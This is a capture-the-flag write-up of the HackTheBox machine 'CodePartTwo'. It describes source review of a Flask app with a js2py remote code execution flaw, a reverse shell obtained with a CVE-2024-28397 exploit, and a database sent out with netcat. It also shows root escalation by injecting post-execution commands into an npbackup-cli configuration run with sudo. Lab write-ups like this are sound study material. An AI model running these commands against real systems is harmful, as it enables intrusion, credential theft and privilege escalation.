> For the complete documentation index, see [llms.txt](https://www.adroxz.foo/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.adroxz.foo/hackthebox-and-writeups/codeparttwo.md).
# CodePartTwo
CodePartTwo write-up (including specifically which part of the application made it vulnerable)
First i ran an nmap scan with the arguments -sCV
* sC: default NSE scripts
* sV: Service & Version detection
* (and -T4 because why not ¯\_(ツ)\_/¯ )
Nothing much came up, just ssh and port 8000 for the website, so i added the website in hostname (/etc/hosts/), and Download App caught my eye immediately cause (usually I don't move to the exploitation part until I've mapped the entire attack surface
1. source code review
2. I did CodePartOne, so I kind of knew what to expect
***
### APP ANALYSIS
After unpacking the archive, we find the source code of the app
and a DB which didn't have anything useful. So after downloading the app, I did a bit of basic enumeration before diving into source code review, and noted down the version of libraries used in the app, which were
```
flask = 3.0.3
flask-sqlalchemyy = 3.1.1
js2py = 0.74
```
**Now let's read the code.**
***
### STATIC CODE ANALYSIS
So after the very surface-level analysis, it was clear that the application was built using `Flask` and relies on `SQLAlchemy` ORM interaction with a local SQLite database (users.db).
Below are the critical architectural flaws that I identified during the review.
#### 1. Insecure Identity Management
The authentication mechanism uses an obsolete cryptographic standard for password storage.
* **Vulnerability:** Weak Hashing Algorithm (MD5)
* **code**
* **Risk:** MD5 is cryptographically broken. Attackers can trivially reverse these hashes using pre-computed rainbow tables or high-speed cracking tools (e.g., Hashcat), compromising user accounts immediately upon database extraction.
#### 2. Critical RCE Sink (Unsafe Execution)
The most severe vulnerability lies in the `/run_code` route in the code snippet
* **Vulnerability:** Server-Side Template Injection / Remote Code Execution
* **Explanation:** The app accepts user-supplied input and passes it directly to the js2py library to execute JavaScript on the server side.
* code
* **Risk:** `js2py` The library is known to allow sandboxing escapes. By crafting a malicious JS payload, it is possible to escape the JS context and execute arbitrary Python code or system commands on the host machine.
#### 3. Exposure of Sensitive Logic
* **Vulnerability:** the application explicitly serves its own source code via the `/download` route( `/home/app/app/static`).
* **Impact:** Allows the attacker to map the attack surface, locate hidden endpoints, and analyze backend logic for further exploits more accurately.
***
### VULNERABILITY DISCLOSURE
During the manual review of the source code, two distinct architectural patterns immediately flagged the application as vulnerable:
1. **Unsafe Input Handling:** The application imports the js2py lib and utilizes the `js2py.eval_js(code)` function within the `/run_code` endpoint. Here, there is no adequate sanitization of user input.
2. **Insufficient Sandboxing:** The developers attempted to secure the execution by using `js2py.disable_pyimport()`. But this isn't enough. **So, after doing a bit of OSINT i found the app was vulnerable to CVE-2024-28397** , so straight away I cloned it and executed the exploit:
```shell
python3 exploit.py --target http://10.10.xx.xx:8000/run_code --lhost 10.10.yy.yy --lport 1337
```
and recieved the shell on my nc, now I already know that the user.db is in the directory as it was in the app that I downloaded. So I accessed that DB using
```shell
cat /home/app/app/instance/users.db | nc 10.10.yy.yy 9000
```
and got username:password\_hash from the DB
After cracking it on crackstation.net, I received the password in clear text
And now we can SSH using these credentials, and get the user flag
### PRIVILEGE ESCALATION
Now for privilege escalation, as usual, the first thing that I do (`sudo -l`)
This told us that we have `root` privilege over npbackup-cli. If we look at the configuration of npbackup-cli, we can see that, as of now, it is not set to take a backup of the root folder. Now, I plan to
```
1) Edit the configuration file to take a backup of the root folder
2) Take a backup
3) Access that backup and get the root flag
```
1. **Edit the config file to take a backup of root:** after altering the config file and including the root folder, it would be like this
```
conf_version: 3.0.1
audience: public
repos:
default:
repo_uri: [ENCRYPTED_URI]
repo_group: default_group
backup_opts:
paths:
- /root
source_type: folder_list
post_exec_commands: # Payload injected here
- "mkdir -p /tmp/rootbackup"
- "cp /root/root.txt /tmp/rootbackup/flag.txt 2>/dev/null || true"
- "chmod 644 /tmp/rootbackup/flag.txt"
- "chown marco:marco /tmp/rootbackup/flag.txt"
repo_opts: # Nested here to ensure password is found
repo_password: [ENCRYPTED_PASSWORD]
groups:
default_group: {} # Added to prevent application crash
```
2. **Execute backup:** Run the backup tool using `sudo` and point it to the malicious configuration file. The `--force` flag is used to bypass potential warnings.
```shell
sudo /usr/local/bin/npbackup-cli -c /tmp/malicious.conf -b --force
```
3. **Retrieve root flag:** The `post_exec_commands` will have executed as root. Retrieve the flag from the temporary directory created by the payload.
```shell
cat /tmp/rootbackup/flag.txt
```
## THE END
***NEXT TIME I SOLVE THIS BOX, I'M PLANNING TO EXPLOIT THE VULNERABILITY MANUALLY :)***
